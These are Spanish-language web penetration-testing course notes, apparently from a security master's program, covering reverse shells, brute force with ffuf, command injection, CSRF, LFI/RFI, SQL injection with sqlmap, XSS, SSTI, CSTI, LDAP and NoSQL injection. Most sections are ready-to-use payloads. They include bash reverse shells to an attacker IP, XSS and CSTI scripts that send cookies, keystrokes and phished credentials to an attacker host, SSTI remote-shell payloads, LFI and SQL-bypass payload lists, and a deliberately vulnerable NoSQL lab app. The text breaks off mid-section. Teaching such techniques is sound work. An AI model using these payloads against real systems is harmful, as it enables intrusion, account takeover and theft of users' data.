Si queremos contemplar cargas útiles en las distintas vulnerabilidades que se pueden acontecer en un caso en particular tenemos la siguiente pagina web:
https://github.com/swisskyrepo/PayloadsAllTheThings
Adjuntamos el siguiente enlace para descargar el entorno web vulnerable para practicar:
https://github.com/digininja/DVWA
Es una técnica que permite a un atacante conectarse a una máquina remota desde una máquina de su propiedad. Es decir, se establece una conexión desde la máquina comprometida hacia la máquina del atacante. Esto se logra ejecutando un programa malicioso o una instrucción específica en la máquina remota que establece la conexión de vuelta hacia la máquina del atacante, permitiéndole tomar el control de la máquina remota.
El atacante deberá ejecutar el siguiente comando:
Script: <- Abrimos un puerto de escucha.
nc -nlvp <Puerto que queramos abrir en nuestro sistema>
Y posteriormente deberemos ejecutar el siguiente comando en un parámetro vulnerable:
Script: <- Creamos una conexión directa a nuestra maquina atacante.
bash -c "bash -i >& /dev/tcp/<IP atacante>/<Puerto abierto con NC> 0>&1"
El atacante deberá ejecutar el siguiente comando:
Script: <- Abrimos un puerto de escucha.
nc -nlvp <Puerto que queramos abrir en nuestro sistema>
Y posteriormente deberemos ejecutar el siguiente comando en un parámetro vulnerable:
Script: <- Creamos una conexión directa a nuestra maquina atacante, codificada para viajar dentro de una URL (GET).
bash -c "bash -i >%26 /dev/tcp/<IP atacante>/<Puerto abierto con NC> 0>%261"
Un ataque de diccionario es un método de fuerza bruta empleado para descifrar contraseñas o claves criptográficas, probando una lista previamente definida de palabras, frases o combinaciones comunes. A diferencia del ataque de fuerza bruta tradicional (que prueba todas las combinaciones posibles), el ataque de diccionario se centra en las combinaciones más comunes, es decir, aquellas que los usuarios suelen elegir como contraseñas.
Las diferentes herramientas que usaremos como Proxys de interceptación seran las siguientes:
Los conceptos de como utilizar las herramientas se verán en las clases del Master.
En ocasiones debemos profundizar en hacer estos ataques de manera manual mediante terminal con el método GET, es por eso que se os proporcionara un comando mediante la herramienta: “Ffuf” para realizar dicho ataque:
Script: <- Realizamos un ataque de diccionario a un login mediante GET con Ffuf.
ffuf -c -t 200 -r -fc 404 -w /usr/share/wordlists/rockyou.txt -u "http://example.com/login/?username=admin&password=FUZZ" -b "<Nombre de la Cookie>=<Valor>" -H "Content-Type: application/x-www-form-urlencoded"
Recordamos filtrar los: “size” de los estados fallidos para quedarnos con el cambio a la web valida.
Recordamos tambien poner la palabra: “FUZZ” en el parámetro que queramos reiterar por el diccionario.
En ocasiones debemos profundizar en hacer estos ataques de manera manual mediante terminal con el método POST, es por eso que se os proporcionara un comando mediante la herramienta: “Ffuf” para realizar dicho ataque:
Script: <- Realizamos un ataque de diccionario a un login mediante POST con Ffuf.
ffuf -c -t 200 -r -fc 404 -w /usr/share/wordlists/rockyou.txt -u http://example.com/ruta_del_panel_del_login -b "<Nombre de la Cookie>=<Valor>" -X POST -d "data" -H "Content-Type: application/x-www-form-urlencoded"
Recordamos filtrar los: “size” de los estados fallidos para quedarnos con el cambio a la web valida.
Recordamos tambien poner la palabra: “FUZZ” en el parámetro que queramos reiterar por el diccionario.
La inyección de comandos es un tipo de ataque que consiste en ejecutar comandos en un servidor. Se aprovecha de vulnerabilidades que permiten la ejecución directa de comandos en el servidor que aloja la página web.
Si dentro de una pagina web podemos observar que al realizar una petición este ejecuta una accion, posiblemente este ejecutando un comando a nivel de sistema dentro del servidor, es por eso que le podemos decir que una vez termine de hacer su función prosiga con un comando del lado del atacante para tener control del sistema de la victima
Un ejemplo seria: Imaginémonos un panel donde nos indican poner una IP, ya que. seguido a eso realiza el comando: “ping -c5 $IP” que hayamos puesto, pues podemos hacer lo siguiente:
Script: <- Ejemplo de una inyección de comandos donde valida un ping dentro de un entorno web.
192.168.0.50 && id
Lo que le estamos diciendo es que una vez realice el Ping, como es correcto el comando prosiga haciendo el comando “id”.
De esta manera si esta mal securizado obtendremos un RCE (Remote Code Execution) siendo este una gravedad máxima en ataques informáticos.
Lo ideal es tener un diccionario con diferentes métodos de concatenaciones para poder reiterar por el parámetro de la web y así obtener una auditoria rápida y automatizada sobre Command Injection.
El diccionario viene bien para reiterar con un ataque de Diccionario a la parte del parámetro que acontece la accion web de manera automatizada y no tener que poner los datos uno por uno.
Script: <- Diccionario personalizado de payloads para inyecciones de comandos.
`whoami`
;id;a
; whoami
;whoami
| whoami
|whoami
|whoami;
&& whoami
pwd;whoami
/bin/?at /etc/passwd
whoami&b=pass
file:///etc/passwd
El Cross-Site Request Forgery (CSRF) es una vulnerabilidad de seguridad en la que un atacante manipula a un usuario legítimo para que realice una acción no deseada en un sitio web sin su conocimiento o consentimiento.
En un ataque CSRF, el atacante engaña a la víctima para que haga clic en un enlace malicioso o acceda a una página web malintencionada. Esta página puede contener una solicitud HTTP que desencadena una acción no deseada en el sitio web de la víctima.
Imaginémonos que estamos ante una web (Podemos imaginar una red Social como Facebook) y dentro de dicha pagina contemplamos un apartado para cambiar la contraseña a una nueva.
Si se gestiona de manera incorrecta, podemos interceptar la petición del cambio de contraseña para convertirlo al método GET (Si es que la petición se transmita por POST) para posteriormente mandar el enlace del cambio de contraseña a la victima.
Si la persona hace click al enlace que le mandemos con el cambio de contraseña (por ejemplo: contraseña=12345) le cambiaremos la contraseña a la persona que acceda al enlace.
Ejemplo:
Si nosotros cambiamos la contraseña y vemos en la URL algo parecido a esto:
Script: <- Realizamos un cambio de datos de usuario.
http://example.com/cambio_de_contraseña.php?usuario=carmelo&password=12345
Podemos pasarle este enlace a otro usuario de la siguiente manera:
Script: <- Realizamos un cambio de datos de usuario malintencionado para pasarlo a una victima mediante GET.
http://example.com/cambio_de_contraseña.php?usuario=HACKED&password=1
Ahora el usuario se llamara: “HACKED” y su contraseña será: “1”
La vulnerabilidad de Local File Inclusion (LFI) es una falla de seguridad que ocurre cuando una aplicación web no verifica adecuadamente las entradas de usuario, lo que permite a un atacante acceder a archivos locales en el servidor web.
Los archivos PHP son susceptibles a numerosos fallos de seguridad, uno de ellos el famoso LFI, imaginémonos el siguiente archivo:
Script: <- Ejemplo de archivo PHP dentro de una web.
http://example.com/file.php
Ese archivo parece muy sospechoso así que procederíamos a auditar mediante LFI.
Lo primero que hay que hacer es tener un diccionario con múltiple Payloads de LFI que nos ayudara a reiterar de manera automática dicha vulnerabilidad.
El diccionario viene bien para reiterar con un ataque de Diccionario a la parte del parámetro que acontece la accion web de manera automatizada y no tener que poner los datos uno por uno.
Script: <- Diccionario personalizado de payloads para LFI.
/etc/passwd
../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/passwd
/..//..//..//..//..//..//..//..//etc/passwd
../../../../../../../../../../../../etc/passwd%00
../../../../[…]../../../../../etc/passwd
..//..//..//..//..//..//..//..//etc/passwd
....//....//....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//....//....//etc//.///.//.//./passwd
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
php://filter/read=convert.base64-encode/resource=/etc/passwd
php://filter/convert.base64-encode/resource=/etc/passwd
file://etc/passwd
file:///etc/passwd
Recordemos que en este ejemplo tenemos el archivo:
Script: <- Ejemplo de archivo PHP dentro de una web.
http://example.com/file.php
Pero tenemos un problema, no sabemos si existe un parámetro que fiche por archivos dentro del sistema: por ejemplo:
Script: <- Realizamos un Path Traversal dentro del archivo PHP presenciando dentro de la web.
http://example.com/file.php?<Parametro que no sabemos>=../../../../../etc/passwd
Para ello también tenemos que usar otro diccionario, en este caso, podemos usar los diccionarios de la: “Seclists”
Para descargar la Seclists tenemos que usar el siguiente comando:
Script: <- Instalamos la seclists en nuestro equipo.
apt install seclists -y
Una vez descargado ya tenemos acceso a muchísimos diccionarios útiles, muchos de ellos destinados a sacar parámetros que es lo que queremos en este caso.
En resumen tenemos 2 diccionarios: Un diccionario para intentar sacar el parámetro al archivo PHP y otro diccionario con los Payloads LFI, es hora de hacer el ataque de la siguiente forma:
Script: <- Automatizamos un ataque LFI con Wfuzz.
wfuzz -t 200 -L --hc 404 -w <Diccionario de parametros> -w <Diccionario de Payloads LFI> -u "http://example.com/file.php?FUZZ=FUZ2Z"
Script: <- Automatizamos un ataque LFI con Ffuf.
ffuf -c -t 200 -r -fc 404 -w "<Diccionario de parametros>:<Letra mayuscula identificatiba>" -w "<Diccionario de Payloads LFI>:<Letra mayuscula identificatiba>" -u "http://example.com/index.php?P=L"
Si tenemos éxito entonces podemos ver respuesta que apuntaran al archivo: “/etc/passwd”
La vulnerabilidad de Remote File Inclusion (RFI) es una falla de seguridad que permite a un atacante incluir archivos remotos en una aplicación web vulnerable, lo que puede dar lugar a la ejecución de código malicioso en el servidor web y comprometer el sistema.
Los archivos PHP son susceptibles a numerosos fallos de seguridad, uno de ellos el famoso RFI, imaginémonos el siguiente archivo:
Script: <- Ejemplo de archivo PHP dentro de una web.
http://example.com/file.php
Ese archivo parece muy sospechoso así que procederíamos a auditar mediante RFI.
Lo primero que hay que hacer es tener un archivo de prueba para posteriormente crear un servidor y poder apuntar al archivo creado.
Si la web ficha nuestro archivo creado entonces esta ante un peligro de alta criticidad.
Script: <- Creamos un archivo.
touch prueba.txt
Ahora simplemente abrimos un servidor por python para poder mandar una peticion que apunte a nuestro archivo de pruebas:
Script: <- Creamos un servidor en python donde se esta alojando el archivo previamente creado.
python3 -m http.server 8080
Recordemos que en este ejemplo tenemos el archivo:
Script: <- Ejemplo de archivo PHP dentro de una web.
http://example.com/file.php
Entonces lo que haríamos es simplemente apuntar a nuestra IP privada atacante junto al archivo de prueba que hemos creado para ver si nos llega una solicitud de la web victima:
Script: <- Ejemplo de explotacion RFI.
http://example.com/file.php?url=http://<IP atacante>:8080/prueba.txt
Si nos vamos a nuestro servidor en Python y vemos que llego una solicitud por parte del servidor web entonces podemos apuntar a archivos maliciosos por parte nuestra para tener el control total del servidor victima.
El abuso de subidas de archivos es un tipo de ataque que ocurre cuando un atacante explota fallos en aplicaciones web que permiten a los usuarios cargar archivos al servidor. Este ataque suele conocerse como subida de archivos maliciosos.
Los conceptos de como realizar la explotación se verán en las clases del Master.
La inyección SQL (SQL Injection o SQLI) es una técnica de ataque que se aprovecha de fallos en aplicaciones web que no controlan correctamente los datos ingresados por el usuario antes de construir consultas SQL. Mediante esta vulnerabilidad, un atacante puede insertar instrucciones maliciosas en la consulta SQL, logrando así acceder a información sensible como nombres de usuario, contraseñas u otros datos almacenados en la base de datos.
Siempre podemos verificar si la base de datos es vulnerable con el siguiente carácter especial:
Jugando con comillas simples: <- Las comillas pueden acontecer errores, si es así, muy posiblemente sea vulnerable a SQLI.
'
Dentro de un panel de login en el apartado de usuario podemos inyectar las siguientes cargas útiles y sin proporcionar ningún tipo de contraseña podernos logear como administradores o el usuario deseado.
Script: <- Inyección de bypass para un panel de login.
' OR 1=1 -- -
Script: <- Inyección de bypass para un panel de login.
1' UNION SELECT null-- -
Script: <- Inyección de bypass para un panel de login.
admin' OR 1=1 -- -
Script: <- Inyección de bypass para un panel de login.
admin' OR '1'='1
Script: <- Inyección de bypass para un panel de login.
admin' OR 1=1;--
Script: <- Inyección de bypass para un panel de login.
admin' OR 1=1; --
Script: <- Inyección de bypass para un panel de login.
admin' OR 1=1; -- -
Script: <- Inyección de bypass para un panel de login.
admin'-- -
Script: <- Inyección de bypass para un panel de login.
admin' -- -
Script: <- Inyección de bypass para un panel de login.
admin'--
Script: <- Inyección de bypass para un panel de login.
admin' --
Script: <- Inyección de bypass para un panel de login.
' OR JSON_VALID('{"a":1}')-- -
Script: <- Inyección de bypass para un panel de login.
'OR JSON_VALID(id)- --
Es hora de sacar los datos dentro de la base de datos es por eso que tenemos que seguir la siguiente metodologia.
Jugando con order by: <- Incrementamos el numero hasta que la web de fallo. Ahi sabremos el numero totales de columnas.
' ORDER BY 1-- -
Vemos todas las bases de datos existentes: <- Sin concatenar, puede causar errores.
' UNION SELECT schema_name, 2, 3, 4, 5 FROM information_schema.schemata-- -
Vemos todas las bases de datos existentes: <- Concatenando en una linea.
' UNION SELECT GROUP_CONCAT(schema_name), 2, 3, 4, 5 FROM information_schema.schemata-- -
Vemos las tablas de la Base de datos que elijamos: <- Sin concatenar, puede causar errores.
' UNION SELECT table_name, 2, 3, 4, 5 FROM information_schema.tables WHERE table_schema = '<Base de Datos>'-- -
Vemos las tablas de la Base de datos que elijamos: <- Concatenando en una linea.
' UNION SELECT GROUP_CONCAT(table_name), 2, 3, 4, 5 FROM information_schema.tables WHERE table_schema = '<Base de Datos>'-- -
Vemos las columnas de la Tabla que elijamos: <- Sin concatenar, puede causar errores.
' UNION SELECT column_name, 2, 3, 4, 5 FROM information_schema.columns WHERE table_schema = '<Base de Datos>' AND table_name = '<Tabla>'-- -
Vemos las columnas de la Tabla que elijamos: <- Concatenando en una linea.
' UNION SELECT GROUP_CONCAT(column_name), 2, 3, 4, 5 FROM information_schema.columns WHERE table_schema = '<Base de Datos>' AND table_name = '<Tabla>'-- -
Vemos los datos de las columnas que elijamos:
' UNION SELECT <Columna> || ':' || <Columna>, 2, 3, 4, 5 FROM <Base de Datos>.<Tabla>-- -
Vemos los datos de las columnas que elijamos:
' UNION SELECT GROUP_CONCAT(<Columna>, ':', <Columna>), 2, 3, 4, 5 FROM <Base de Datos>.<Tabla>-- -
Para poder auditar SQLI de manera automática usaremos la herramienta: “SQLMAP” de la siguiente manera:
Script: <- BurpSuite para interceptar una petición.
Burpsuite
Script: <- Dentro de burpsuite copiaremos toda la interceptación de la petición y la copiaremos en un documento de texto. (O simplemente click derecho y Save Item)
nano request.req (Copiamos toda la peticion de burpsuite)
Script: <- Nos dará información de si es inyectable.
sqlmap -r <Archivo> --batch
Script: <- Nos dará información de las bases de datos existentes.
sqlmap -r <Archivo> --batch --dbs
Script: <- Nos dará información de las tablas de la base de datos que elijamos.
sqlmap -r <Archivo> --batch -D <Base de datos> --tables
Script: <- Nos dará información de las columnas de la tabla de datos que elijamos.
sqlmap -r <Archivo> --batch -D <Base de datos> -T <Tabla> --columns
Script: <- Hará un dump de los datos, en el parámetro -C podremos poner varias columnas separadas por comas.
sqlmap -r <Archivo> --batch -D <Base de datos> -T <Tabla> -C <Columna> --dump
Script: <- Nos dará información de si es inyectable. (Usaremos Burpsuite para ir completando el comando)
sqlmap -u "http://example.com/object=1" --batch
Script: <- Nos dará información de las bases de datos existentes.
sqlmap -u "http://example.com/object=1" --batch --dbs
Script: <- Nos dará información de las tablas de la base de datos que elijamos.
sqlmap -u "http://example.com/object=1" --batch -D <Base de datos> --tables
Script: <- Nos dará información de las columnas de la tabla de datos que elijamos.
sqlmap -u "http://example.com/object=1" --batch -D <Base de datos> -T <Tabla> --columns
Script: <- Hará un dump de los datos, en el parámetro -C podremos poner varias columnas separadas por comas.
sqlmap -u "http://example.com/object=1" --batch -D <Base de datos> -T <Tabla> -C <Columna> --dump
Script: <- BurpSuite para interceptar una petición.
Burpsuite
Script: <- Nos dará información de si es inyectable. (Usaremos Burpsuite para ir completando el comando)
sqlmap -u "http://example.com/panel/de/login/vulnerable" --data="username=test&password=test" --batch
Script: <- Nos dará información de las bases de datos existentes.
sqlmap -u "http://example.com/panel/de/login/vulnerable" --data="username=test&password=test" --batch --dbs
Script: <- Nos dará información de las tablas de la base de datos que elijamos.
sqlmap -u "http://example.com/panel/de/login/vulnerable" --data="username=test&password=test" --batch -D <Base de datos> --tables
Script: <- Nos dará información de las columnas de la tabla de datos que elijamos.
sqlmap -u "http://example.com/panel/de/login/vulnerable" --data="username=test&password=test" --batch -D <Base de datos> -T <Tabla> --columns
Script: <- Hará un dump de los datos, en el parámetro -C podremos poner varias columnas separadas por comas.
sqlmap -u "http://example.com/panel/de/login/vulnerable" --data="username=test&password=test" --batch -D <Base de datos> -T <Tabla> -C <Columna> --dump
Script: <- Nos muestra el usuario actual que corre la base de datos.
sqlmap --current-user
Script: <- Comprueba si el usuario actual es administrador.
sqlmap --is-dba
Script: <- Nos dará información del hosts donde este corriendo la base de datos.
sqlmap --hostname
Script: <- Nos dará información de los passwords que se este usando para ingresar a la base de datos.
sqlmap --passwords
Script: <- Nos dará información de los privilegios de los usuarios y administradores de la base de datos.
sqlmap --privileges
Una vez tengamos acceso a la base de datos, usaremos esta flag adicional:
Script: <- Nos proporciona una shell interactiva.
sqlmap --os-shell
Si entramos dentro de una shell abriremos un puerto de escucha en otra ventana:
Script: <- Abrimos un puerto de escucha.
nc -nlvp <Puerto>
Y escribiremos el siguiente comando dentro de la shell interactiva de SQLMAP:
Script: <- Creamos una conexión directa a nuestra maquina atacante.
bash -c "bash -i >& /dev/tcp/<IP atacante>/<Puerto> 0>&1"
La vulnerabilidad XSS (Cross-Site Scripting) es un fallo de seguridad que permite a un atacante inyectar y ejecutar código malicioso en el navegador de un usuario, sin que este lo sepa o lo autorice. Esto puede usarse para robar información sensible, como credenciales de acceso, datos personales o información de formularios.
Reflejado (Reflected): Este tipo de XSS se produce cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
Almacenado (Stored): Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada vez que se carga la página.
DOM-Based: Este tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Modelo de Objetos del Documento). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.
Lo primero es descargar la seclists con el siguiente comando:
Script: <- Descargamos la Seclists.
apt install seclists
Una vez descargado podemos acceder al diccionario en la siguiente ruta dentro del sistema:
Script: <- Ruta al diccionario.
/usr/share/wordlists/seclists/Fuzzing/XSS/human-friendly/XSS-Cheat-Sheet-PortSwigger.txt
Script: <- Podemos crear una alerta en JavaScript.
<script>alert("XSS")</script>
Script: <- Podemos crear una alerta en JavaScript.
<script>alert('XSS');</script>
Script: <- Podemos crear una alerta en JavaScript.
';alert(1);'
Script: <- XSS sin Pop-up de ingresar correo electrónico y mucho mas elaborado.
<div id="formContainer"></div>
<script>
var email;
var password;
var form = '<form>' +
'Email: <input type="email" id="email" required>' +
'Contraseña: <input type="password" id="password" required>' +
'<input type="button" onclick="submitForm()" value="Submit">' +
'</form>';
document.getElementById("formContainer").innerHTML = form;
function submitForm() {
email = document.getElementById("email").value;
password = document.getElementById("password").value;
fetch("http://<IP atacante>/?email=" + email + "&password=" + password);
}
</script>
Script: <- Abriendo un servidor para obtener las peticiones.
python3 -m http.server <Puerto>
Script: <- Creamos Keylogger y puerto de escucha con filtrado.
<script>
var k = "";
document.onkeypress = function(e){
e = e || window.event;
k += e.key;
var i = new Image();
i.src = "http://<IP atacante>/" + k;
};
</script>
Script: <- Abriendo un servidor para obtener las peticiones y filtrar todos los datos para observar el keylogger solamente.
python3 -m http.server <Puerto> 2>&1 | grep -oP 'GET /\K[^.*\s]+'
Script: <- Creamos un Iframe.
<div style="
max-width: 100%;
border-radius: 16px;
box-shadow: 0 8px 32px rgba(0,0,0,0.18), 0 1.5px 4px rgba(0,0,0,0.10);
overflow: hidden;
background: #1e1e1e;
font-family: sans-serif;
">
<!-- Barra superior estilo navegador -->
<div style="
display: flex;
align-items: center;
gap: 10px;
background: #2a2a2a;
padding: 10px 16px;
border-bottom: 1px solid #3a3a3a;
">
<!-- Botones semáforo -->
<span style="width:12px;height:12px;border-radius:50%;background:#ff5f57;display:inline-block;"></span>
<span style="width:12px;height:12px;border-radius:50%;background:#febc2e;display:inline-block;"></span>
<span style="width:12px;height:12px;border-radius:50%;background:#28c840;display:inline-block;"></span>
<!-- Barra de URL falsa -->
<div style="
flex:1;
background:#1a1a1a;
border-radius:8px;
padding:4px 12px;
font-size:12px;
color:#888;
margin: 0 8px;
white-space:nowrap;
overflow:hidden;
text-overflow:ellipsis;
">http://localhost:80/index.html</div>
<!-- Controles scroll -->
<button onclick="iScroll(-120)" title="Arriba" style="
background:#3a3a3a;border:none;color:#ccc;border-radius:6px;
width:28px;height:28px;cursor:pointer;font-size:14px;line-height:1;
">▲</button>
<button onclick="iScroll(120)" title="Abajo" style="
background:#3a3a3a;border:none;color:#ccc;border-radius:6px;
width:28px;height:28px;cursor:pointer;font-size:14px;line-height:1;
">▼</button>
</div>
<!-- Loading overlay -->
<div id="iframeLoader" style="
position:relative;
background:#111;
height:480px;
display:flex;
align-items:center;
justify-content:center;
">
<div style="text-align:center;color:#555;">
<div id="spinner" style="
width:36px;height:36px;border:3px solid #333;
border-top-color:#8dc63f;border-radius:50%;
animation:spin 0.8s linear infinite;margin:0 auto 12px;
"></div>
<span style="font-size:13px;">Cargando...</span>
</div>
<iframe
id="myIframe"
src="http://localhost:80/index.html"
onload="iframeLoaded()"
style="
position:absolute;top:0;left:0;
width:100%;height:100%;
border:none;
opacity:0;
transition:opacity 0.4s ease;
">
</iframe>
</div>
</div>
<style>
@keyframes spin {
to { transform: rotate(360deg); }
}
</style>
<script>
function iframeLoaded() {
var f = document.getElementById('myIframe');
var s = document.getElementById('spinner');
f.style.opacity = '1';
if (s) s.parentElement.querySelector('span') && (s.parentElement.style.display = 'none');
}
function iScroll(px) {
var f = document.getElementById('myIframe');
try {
(f.contentWindow || f.contentDocument).scrollBy({ top: px, behavior: 'smooth' });
} catch(e) {}
}
// Teclado: flechas + PageUp/Down
document.addEventListener('keydown', function(e) {
var map = {
'ArrowUp': -100,
'ArrowDown': 100,
'PageUp': -400,
'PageDown': 400
};
if (map[e.key] !== undefined) {
e.preventDefault();
iScroll(map[e.key]);
}
});
// Rueda del ratón sobre el wrapper
document.querySelector('iframe').addEventListener('wheel', function(e) {
e.preventDefault();
iScroll(e.deltaY > 0 ? 100 : -100);
}, { passive: false });
</script>
Script: <- Podemos redirigir a una persona a otra pagina HTTP o HTTPS.
<script>window.location.href="http://example.com"</script>
Script: <- Escribimos este código directamente en el parámetro vulnerable del XSS. Recordarnos tener un servidor abierto.
<script>new Image().src='http://<IP atacante>/cookie.php?c='+document.cookie;</script>
Script: <- Abriendo un servidor para obtener las peticiones.
python3 -m http.server <Puerto>
Script: <- Escribimos este código directamente en el parámetro vulnerable del XSS. Recordarnos tener un servidor abierto.
<img src="" onerror="fetch(`http://<IP atacante>/?cookie=${document.cookie}');" />
Script: <- Abriendo un servidor para obtener las peticiones.
python3 -m http.server <Puerto>
La inyección de plantillas del lado del servidor (Server-Side Template Injection o SSTI) es una vulnerabilidad que ocurre cuando un atacante puede insertar código malicioso dentro de una plantilla usada por el servidor para generar contenido dinámico en una aplicación web.
Script: <- Inyección simple de detección.
{{7*7}}
Script: <- Apuntamos al etc/passwd.
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Script: <- Apuntamos a inyecciones de comandos y posteriormente a reverse shell.
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Recordemos que en ocasión no hace falta urlencodear y nos sobra con:
Script: <- Inyectamos la reverse shell
{{ cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/<IP Atacante>/<Puerto> 0>&1"').read() }}
URLencodeamos en esta pagina lo siguiente:
Pagina: https://www.urlencoder.org/
Script: <- URLencodeamos lo siguiente:
bash -c "bash -i >& /dev/tcp/<IP Atacante>/<Puerto> 0>&1"
Script: <- Inyectamos la reverse shell
{{ cycler.__init__.__globals__.os.popen('<Bash URLencodeado>').read() }}
Para descargar la herramientas simplemente haremos el siguiente comando:
Script: <- Descargamos la herramienta.
git clone https://github.com/vladko312/SSTImap && cd SSTImap
Script: <- Elegimos el motor de la plantilla para el escaneo.
python3 sstimap.py -u "http://example.com" --engine=jinja2
Script: <- Vemos si es vulnerable una URL.
python3 sstimap.py -u "http://example.com/page?name=test"
Script: <- Vemos si es vulnerable una URL.
python3 sstimap.py -u "http://example.com" --data="username=test&password=test" --method=POST
Script: <- Contemplamos si es vulnerable mediante formularios.
python3 sstimap.py -u "http://example.com" --forms
Script: <- Cargamos las URL y hacemos pruebas de penetracion.
python3 sstimap.py --load-urls urls.txt
Script: <- Cargamos las URL y hacemos pruebas de penetracion. (Recomendado el nivel 3)
python3 sstimap.py -u "http://example.com" --crawl=<Nivel del 1 al 5 maximo por seguridad>
Script: <- Hacemos comandos.
python3 sstimap.py -u "http://example.com" --os-cmd="whoami"
Script: <- Hacemos una Reverse Shell.
python3 sstimap.py -u "http://example.com" --reverse-shell <IP atacante> <Puerto que queramos>
La vulnerabilidad Client-Side Template Injection (CSTI) ocurre cuando una aplicación web permite que un atacante inyecte código malicioso en una plantilla de cliente es decir, una plantilla que se procesa directamente en el navegador del usuario para generar contenido dinámico.
Script: <- Inyección simple de alerta.
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
Script: <- Inyección simple de detección.
{{7*7}}
Script: <- Obtenemos la cookie de la victima.
{{ constructor.constructor('fetch("http://<IP atacante>/?cookie="+document.cookie)')() }}
Script: <- Abriendo un servidor para obtener las peticiones.
python3 -m http.server <Puerto>
Script: <- Creamos un Defacement.
{{ constructor.constructor('document.body.innerHTML="<h1>Hacked</h1>"')() }}
Script: <- Creamos un KeyLogger.
{{ constructor.constructor('document.onkeypress=function(e){fetch("http://<IP atacante/?key="+e.key)}')() }}
Script: <- Abriendo un servidor para escuchar y filtrar todos los datos para observar el keylogger solamente.
python3 -m http.server <Puerto> 2>&1 | grep -oP 'GET /\K[^.*\s]+'
La inyección LDAP es un tipo de ataque dirigido a aplicaciones web que interactúan con servidores LDAP (Protocolo de Directorio Ligero). Este protocolo se utiliza para almacenar y organizar información de usuarios y otros recursos dentro de una red. Si una aplicación web no valida correctamente la entrada del usuario, un atacante puede inyectar comandos maliciosos en los campos de entrada, que luego son enviados y procesados por el servidor LDAP.
Posibles consecuencias de una inyección LDAP:
Acceso no autorizado a información sensible almacenada en el directorio LDAP, como credenciales o detalles de usuarios.
Alteraciones en la base de datos LDAP, como agregar, modificar o eliminar usuarios y recursos.
Acciones maliciosas que pueden incluir la ejecución de comandos que alteren la seguridad de la red, como lanzar ataques de phishing o insertar malware en sistemas vulnerables.
Medidas de prevención:
Validación y limpieza: Es fundamental validar y filtrar todas las entradas del usuario antes de que sean enviadas al servidor LDAP, eliminando caracteres especiales y evitando la ejecución de comandos no autorizados.
Privilegios mínimos: Las aplicaciones web deben ejecutarse con los permisos mínimos necesarios para evitar que un atacante pueda realizar cambios críticos en el servidor LDAP.
Monitoreo: Se deben implementar medidas de monitoreo regular sobre las actividades del servidor LDAP para detectar comportamientos inusuales que podrían indicar intentos de inyección.
Al igual que con otros tipos de inyecciones (como las de SQL), la validación adecuada de las entradas y el uso de parámetros seguros en las consultas son medidas fundamentales para mitigar estos riesgos.
Script: <- Desplegamos el laboratorio.
apt install docker.io && apt install docker-compose && sudo docker pull blabla1337/owasp-skf-lab:ldap-injection && sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:ldap-injection
Script: <- Sabiendo el nombre de usuario.
username=admin
password=*
Script: <- Podríamos fuzzear por distintos usuarios de la siguiente manera.
username=admi*
password=*
Las inyecciones NoSQL son una vulnerabilidad en aplicaciones web que interactúan con bases de datos NoSQL, como MongoDB, Cassandra, CouchDB, entre otras. Este tipo de ataque se produce cuando una aplicación web permite que un atacante envíe datos maliciosos dentro de una consulta a la base de datos, la cual es procesada sin la debida validación o sanitización.
Script: <- Montamos el laboratorio.
sudo apt install -y python3-pip mongodb && sudo systemctl start mongodb && pip3 install flask pymongo && cat << 'EOF' > nosql_inject.py
from flask import Flask, request, render_template_string, jsonify
from pymongo import MongoClient
import json
from bson import json_util
app = Flask(__name__)
client = MongoClient('mongodb://localhost:27017/')
db = client.testdb
users = db.users
# Clear and create test user
users.delete_many({})
users.insert_one({'username':'admin','password':'secret123'})
@app.route('/', methods=['GET','POST'])
def login():
message = ''
if request.method == 'POST':
try:
if request.content_type == 'application/json':
# Handle JSON payloads directly
query = request.get_json()
else:
# Parse form data and convert to dictionary
data = request.form.to_dict()
query = {}
for key, value in data.items():
if '[' in key and ']' in key: # Detect NoSQL operators
try:
query = json.loads(value.replace("'", '"'))
except:
query[key.split('[')[0]] = value
else:
query[key] = value
user = users.find_one(query)
message = f'Success! User: {json.loads(json_util.dumps(user))}' if user else 'Invalid credentials'
except Exception as e:
message = f'Error: {str(e)}'
return render_template_string('''
<h2>NoSQL Injection Test</h2>
<form method="POST">
<input type="text" name="username" placeholder="Username"><br>
<input type="password" name="password" placeholder="Password"><br>
<button type="submit">Login</button>
</form>
<p>{{ message }}</p>
<hr>
<h3>Test these NoSQL injection payloads:</h3>
<ul>
<li>Normal login: username=admin, password=secret123</li>
<li>NoSQL injection: username=admin&password={"$ne":""}</li>
<li>NoSQL injection (JSON): {"username":"admin","password":{"$ne":""}}</li>
</ul>
''', message=message)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
EOF
# Run the application
python3 nosql_inject.py
Se accede en: “http://localhost:5000/”
Es ideal interceptar la petición.
Adaptamos los parámetros Username y Password de los datos que nos muestran en el ejemplo con cuales nos estemos enfrentando, a veces nos encontraremos parámetros como: User, Pass y otras variaciones!
Recordamos que Siempre el: “Content-Type” debe ser:
Script: <- Aplicamos lo siguiente en el: “Content-Type”:
Content-Type: application/json
O en algunos casos:
Script: <- Aplicamos lo siguiente en el: “Content-Type”:
Content-Type: application/x-www-form-urlencoded
Si queremos hacerlo en la vía: “Content-Type: application/x-www-form-urlencoded” usaremos los siguientes payloads:
Script: <- Aplicamos lo siguiente en el: “Content-Type”:
Content-Type: application/x-www-form-urlencoded
